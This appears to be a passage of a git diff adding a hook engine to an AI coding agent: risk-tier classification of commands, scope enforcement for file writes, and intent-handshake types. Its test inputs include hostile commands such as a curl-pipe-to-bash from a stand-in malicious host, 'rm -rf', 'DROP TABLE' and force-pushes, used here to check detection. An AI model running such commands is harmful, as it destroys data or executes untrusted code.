expect(result.tier).toBe(RiskTier.DESTRUCTIVE) + }) + }) + + // ── CRITICAL commands (execute_command) ────────────────────────── + + describe("CRITICAL command classification", () => { + it("detects rm -rf as CRITICAL", () => { + const result = CommandClassifier.classify("execute_command", { command: "rm -rf /tmp/test" }) + expect(result.tier).toBe(RiskTier.CRITICAL) + expect(result.matchedPattern).toContain("rm") + }) + + it("detects rm -f as CRITICAL", () => { + const result = CommandClassifier.classify("execute_command", { command: "rm -f important.txt" }) + expect(result.tier).toBe(RiskTier.CRITICAL) + }) + + it("detects git push --force as CRITICAL", () => { + const result = CommandClassifier.classify("execute_command", { + command: "git push origin main --force", + }) + expect(result.tier).toBe(RiskTier.CRITICAL) + expect(result.matchedPattern).toContain("Force push") + }) + + it("detects git push -f as CRITICAL", () => { + const result = CommandClassifier.classify("execute_command", { command: "git push -f" }) + expect(result.tier).toBe(RiskTier.CRITICAL) + }) + + it("detects git reset --hard as CRITICAL", () => { + const result = CommandClassifier.classify("execute_command", { command: "git reset --hard HEAD~3" }) + expect(result.tier).toBe(RiskTier.CRITICAL) + }) + + it("detects git clean -f as CRITICAL", () => { + const result = CommandClassifier.classify("execute_command", { command: "git clean -fd" }) + expect(result.tier).toBe(RiskTier.CRITICAL) + }) + + it("detects curl | bash as CRITICAL", () => { + const result = CommandClassifier.classify("execute_command", { + command: "curl https://malicious.com/script.sh | bash", + }) + expect(result.tier).toBe(RiskTier.CRITICAL) + }) + + it("detects DROP TABLE as CRITICAL", () => { + const result = CommandClassifier.classify("execute_command", { + command: 'psql -c "DROP TABLE users"', + }) + expect(result.tier).toBe(RiskTier.CRITICAL) + }) + + it("detects npm publish as CRITICAL", () => { + const result = CommandClassifier.classify("execute_command", { command: "npm publish" }) + expect(result.tier).toBe(RiskTier.CRITICAL) + }) + + it("detects chmod 777 as CRITICAL", () => { + const result = CommandClassifier.classify("execute_command", { command: "chmod 777 /var/www" }) + expect(result.tier).toBe(RiskTier.CRITICAL) + }) + + it("classifies safe commands as DESTRUCTIVE (not CRITICAL)", () => { + const result = CommandClassifier.classify("execute_command", { command: "npm install" }) + expect(result.tier).toBe(RiskTier.DESTRUCTIVE) + }) + + it("classifies npm test as DESTRUCTIVE (not CRITICAL)", () => { + const result = CommandClassifier.classify("execute_command", { command: "npm test" }) + expect(result.tier).toBe(RiskTier.DESTRUCTIVE) + }) + + it("classifies git status as DESTRUCTIVE (execute_command is always at least DESTRUCTIVE)", () => { + const result = CommandClassifier.classify("execute_command", { command: "git status" }) + expect(result.tier).toBe(RiskTier.DESTRUCTIVE) + }) + }) + + // ── isFileWriteOperation ───────────────────────────────────────── + + describe("isFileWriteOperation", () => { + it("returns true for write_to_file", () => { + expect(CommandClassifier.isFileWriteOperation("write_to_file")).toBe(true) + }) + + it("returns true for apply_diff", () => { + expect(CommandClassifier.isFileWriteOperation("apply_diff")).toBe(true) + }) + + it("returns false for read_file", () => { + expect(CommandClassifier.isFileWriteOperation("read_file")).toBe(false) + }) + + it("returns false for execute_command", () => { + expect(CommandClassifier.isFileWriteOperation("execute_command")).toBe(false) + }) + }) +}) diff --git a/src/hooks/__tests__/ScopeEnforcer.test.ts b/src/hooks/__tests__/ScopeEnforcer.test.ts new file mode 100644 index 00000000000..15472b6549c --- /dev/null +++ b/src/hooks/__tests__/ScopeEnforcer.test.ts @@ -0,0 +1,109 @@ +/** + * ScopeEnforcer.test.ts — Tests for Phase 2 Scope Enforcement + * + * Tests that file-write operations are correctly validated against + * the active intent's owned_scope glob patterns. + */ + +import { describe, it, expect } from "vitest" +import { ScopeEnforcer } from "../ScopeEnforcer" + +describe("ScopeEnforcer", () => { + const cwd = "/workspace/project" + + // ── Glob Pattern Matching ──────────────────────────────────────── + + describe("scope pattern matching", () => { + it("allows files matching ** glob pattern", () => { + const result = ScopeEnforcer.check("src/auth/middleware.ts", ["src/auth/**"], cwd) + expect(result.allowed).toBe(true) + expect(result.matchedPattern).toBe("src/auth/**") + }) + + it("allows files matching exact path", () => { + const result = ScopeEnforcer.check("src/middleware/jwt.ts", ["src/middleware/jwt.ts"], cwd) + expect(result.allowed).toBe(true) + }) + + it("allows files matching one of multiple patterns", () => { + const result = ScopeEnforcer.check("tests/auth/jwt.test.ts", ["src/auth/**", "tests/auth/**"], cwd) + expect(result.allowed).toBe(true) + expect(result.matchedPattern).toBe("tests/auth/**") + }) + + it("allows deeply nested files with ** pattern", () => { + const result = ScopeEnforcer.check("src/auth/providers/jwt/handler.ts", ["src/auth/**"], cwd) + expect(result.allowed).toBe(true) + }) + + it("blocks files outside all scope patterns", () => { + const result = ScopeEnforcer.check("src/billing/invoice.ts", ["src/auth/**", "src/middleware/jwt.ts"], cwd) + expect(result.allowed).toBe(false) + expect(result.reason).toContain("Scope Violation") + }) + + it("blocks files in sibling directories", () => { + const result = ScopeEnforcer.check("src/api/users.ts", ["src/auth/**"], cwd) + expect(result.allowed).toBe(false) + }) + + it("allows when no scope is defined (backwards compatibility)", () => { + const result = ScopeEnforcer.check("any/file.ts", [], cwd) + expect(result.allowed).toBe(true) + }) + + it("handles * wildcard for single-segment matching", () => { + const result = ScopeEnforcer.check("src/middleware/auth.ts", ["src/middleware/*.ts"], cwd) + expect(result.allowed).toBe(true) + }) + + it("* wildcard does not match across directories", () => { + const result = ScopeEnforcer.check("src/middleware/deep/auth.ts", ["src/middleware/*.ts"], cwd) + expect(result.allowed).toBe(false) + }) + }) + + // ── Path Normalization ─────────────────────────────────────────── + + describe("path normalization", () => { + it("normalizes Windows backslash paths", () => { + const result = ScopeEnforcer.check(String.raw`src\auth\middleware.ts`, ["src/auth/**"], cwd) + expect(result.allowed).toBe(true) + }) + + it("strips leading ./ from paths", () => { + const result = ScopeEnforcer.check("./src/auth/middleware.ts", ["src/auth/**"], cwd) + expect(result.allowed).toBe(true) + }) + + it("handles absolute paths by making them relative", () => { + const result = ScopeEnforcer.check("/workspace/project/src/auth/handler.ts", ["src/auth/**"], cwd) + expect(result.allowed).toBe(true) + }) + }) + + // ── extractTargetPath ──────────────────────────────────────────── + + describe("extractTargetPath", () => { + it("extracts path from 'path' parameter", () => { + const path = ScopeEnforcer.extractTargetPath("write_to_file", { path: "src/auth/main.ts" }) + expect(path).toBe("src/auth/main.ts") + }) + + it("extracts path from 'file_path' parameter", () => { + const path = ScopeEnforcer.extractTargetPath("edit", { file_path: "src/config.ts" }) + expect(path).toBe("src/config.ts") + }) + + it("returns null when no path parameter exists", () => { + const path = ScopeEnforcer.extractTargetPath("execute_command", { command: "npm test" }) + expect(path).toBeNull() + }) + + it("extracts path from diff header", () => { + const diff = `--- a/src/auth/handler.ts\n+++ b/src/auth/handler.ts\n@@ -1,3 +1,4 @@` + const path = ScopeEnforcer.extractTargetPath("apply_diff", { diff }) + expect(path).toBe("src/auth/handler.ts") + }) + }) +}) diff --git a/src/hooks/index.ts b/src/hooks/index.ts new file mode 100644 index 00000000000..ff7d4aafb18 --- /dev/null +++ b/src/hooks/index.ts @@ -0,0 +1,45 @@ +/** + * index.ts — Public API for the Hook Engine module + * + * Re-exports all hook components for clean imports: + * import { HookEngine, CommandClassifier, AuthorizationGate } from "../hooks" + * + * Phase 1: HookEngine, IntentContextLoader, GatekeeperHook + * Phase 2: CommandClassifier, AuthorizationGate, AutonomousRecovery, + * ScopeEnforcer, PostToolHook + * + * @see HookEngine.ts — main orchestrator + * @see IntentContextLoader.ts — select_active_intent handler + * @see PreToolHook.ts — gatekeeper validation + * @see CommandClassifier.ts — risk tier classification + * @see AuthorizationGate.ts — HITL modal dialog + * @see AutonomousRecovery.ts — structured rejection errors + * @see ScopeEnforcer.ts — owned scope validation + * @see PostToolHook.ts — post-edit formatting/linting + * @see types.ts — shared types and constants + */ + +// ── Phase 1 ────────────────────────────────────────────────────────────── +export { HookEngine } from "./HookEngine" +export { IntentContextLoader } from "./IntentContextLoader" +export { GatekeeperHook } from "./PreToolHook" + +// ── Phase 2 ────────────────────────────────────────────────────────────── +export { CommandClassifier, RiskTier } from "./CommandClassifier" +export type { ClassificationResult } from "./CommandClassifier" + +export { AuthorizationGate, AuthorizationDecision } from "./AuthorizationGate" +export type { AuthorizationResult } from "./AuthorizationGate" + +export { AutonomousRecovery } from "./AutonomousRecovery" +export type { RecoveryError } from "./AutonomousRecovery" + +export { ScopeEnforcer } from "./ScopeEnforcer" +export type { ScopeCheckResult } from "./ScopeEnforcer" + +export { PostToolHook } from "./PostToolHook" +export type { PostHookResult } from "./PostToolHook" + +// ── Shared Types ───────────────────────────────────────────────────────── +export type { HookContext, PreHookResult, IntentEntry, ActiveIntentsFile } from "./types" +export { MUTATING_TOOLS, EXEMPT_TOOLS } from "./types" diff --git a/src/hooks/types.ts b/src/hooks/types.ts new file mode 100644 index 00000000000..b8524d3cc9f --- /dev/null +++ b/src/hooks/types.ts @@ -0,0 +1,143 @@ +/** + * types.ts — Shared type definitions for the Hook Engine system. + * + * These types define the contracts between the HookEngine, pre-hooks, + * post-hooks, and the intent data model. They provide strong typing + * for the entire middleware pipeline. + * + * @see HookEngine.ts — Orchestrator that uses these types + * @see TRP1 Challenge Week 1, Phase 1 + */ + +// ── Hook Context ───────────────────────────────────────────────────────── + +/** + * Context object passed to every hook at invocation time. + * Contains all information a hook needs to make decisions. + */ +export interface HookContext { + /** The canonical name of the tool being called (e.g., "write_to_file") */ + toolName: string + + /** The tool parameters as provided by the AI agent */ + params: Record + + /** The workspace root path (cwd) where .orchestration/ lives */ + cwd: string + + /** The currently active intent ID (null if none declared) */ + activeIntentId: string | null +} + +// ── Pre-Hook Results ───────────────────────────────────────────────────── + +/** + * Result from a pre-hook execution. + * + * - "allow" — the hook has no objection; continue to next hook or execute tool + * - "block" — the hook blocks execution; return toolResult as error + * - "inject" — the hook intercepts the call and provides its own tool result + * (used by select_active_intent to return the block) + */ +export type PreHookResult = + | { action: "allow" } + | { action: "block"; toolResult: string } + | { action: "inject"; toolResult: string } + +// ── Intent Data Model ──────────────────────────────────────────────────── + +/** + * Represents a single intent entry from .orchestration/active_intents.yaml. + * This is the TypeScript representation of the YAML schema defined in the + * TRP1 challenge specification. + * + * Example YAML entry: + * ```yaml + * - id: "INT-001" + * name: "JWT Authentication Migration" + * status: "IN_PROGRESS" + * owned_scope: + * - "src/auth/**" + * - "src/middleware/jwt.ts" + * constraints: + * - "Must not use external auth providers" + * - "Must maintain backward compatibility with Basic Auth" + * acceptance_criteria: + * - "Unit tests in tests/auth/ pass" + * ``` + */ +export interface IntentEntry { + /** Unique identifier (e.g., "INT-001") */ + id: string + + /** Human-readable name (e.g., "JWT Authentication Migration") */ + name: string + + /** Current lifecycle status */ + status: string + + /** File globs that this intent is authorized to modify */ + owned_scope: string[] + + /** Architectural constraints the agent must respect */ + constraints: string[] + + /** Definition of Done — criteria for completion */ + acceptance_criteria: string[] +} + +/** + * Root structure of .orchestration/active_intents.yaml + */ +export interface ActiveIntentsFile { + active_intents: IntentEntry[] +} + +// ── Mutating Tool Classification ───────────────────────────────────────── + +/** + * Tools that perform mutating/destructive operations on the workspace. + * These require an active intent to be declared before execution. + * + * Read-only tools (read_file, list_files, search_files, etc.) and + * meta tools (ask_followup_question, attempt_completion, switch_mode, etc.) + * are exempt from the gatekeeper check. + */ +export const MUTATING_TOOLS: readonly string[] = [ + "write_to_file", + "apply_diff", + "edit", + "search_and_replace", + "search_replace", + "edit_file", + "apply_patch", + "execute_command", + "generate_image", +] as const + +/** + * Tools that are exempt from the gatekeeper intent check. + * These include read-only operations, meta tools, and the + * select_active_intent tool itself (to avoid circular blocking). + */ +export const EXEMPT_TOOLS: readonly string[] = [ + // The handshake tool itself + "select_active_intent", + // Read-only tools + "read_file", + "list_files", + "search_files", + "codebase_search", + "read_command_output", + // Meta tools / conversation + "ask_followup_question", + "attempt_completion", + "switch_mode", + "new_task", + "update_todo_list", + "run_slash_command", + "skill", + // MCP tools (governed separately) + "use_mcp_tool", + "access_mcp_resource", +] as const diff --git a/src/shared/tools.ts b/src/shared/tools.ts index 491ba693611..3630347448d 100644 --- a/src/shared/tools.ts +++ b/src/shared/tools.ts @@ -80,6 +80,7 @@ export const toolParamNames = [ // read_file legacy format parameter (backward compatibility) "files", "line_ranges", + "intent_id", ] as const export type ToolParamName = (typeof toolParamNames)[number] @@ -115,6 +116,7 @@ export type NativeToolArgs = { update_todo_list: { todos: string } use_mcp_tool: { server_name: string; tool_name: string; arguments?: Record } write_to_file: { path: string; content: string } + select_active_intent: { intent_id: string } // Add more tools as they are migrated to native protocol } @@ -257,6 +259,17 @@ export interface GenerateImageToolUse extends ToolUse<"generate_image"> { params: Partial, "prompt" | "path" | "image">> } +/** + * select_active_intent tool — Phase 1 "Handshake" tool. + * Forces the AI agent to declare an active intent ID from .orchestration/active_intents.yaml + * before performing any mutating operations. The pre-hook intercepts this call, + * reads the intent context, and injects constraints/scope back into the conversation. + */ +export interface SelectActiveIntentToolUse extends ToolUse<"select_active_intent"> { + name: "select_active_intent" + params: Partial, "intent_id">> +} + // Define tool group configuration export type ToolGroupConfig = { tools: readonly string[] @@ -289,6 +302,7 @@ export const TOOL_DISPLAY_NAMES: Record = { skill: "load skill", generate_image: "generate images", custom_tool: "use custom tools", + select_active_intent: "select active intent", } as const // Define available tool groups. @@ -321,6 +335,7 @@ export const ALWAYS_AVAILABLE_TOOLS: ToolName[] = [ "update_todo_list", "run_slash_command", "skill", + "select_active_intent", ] as const /**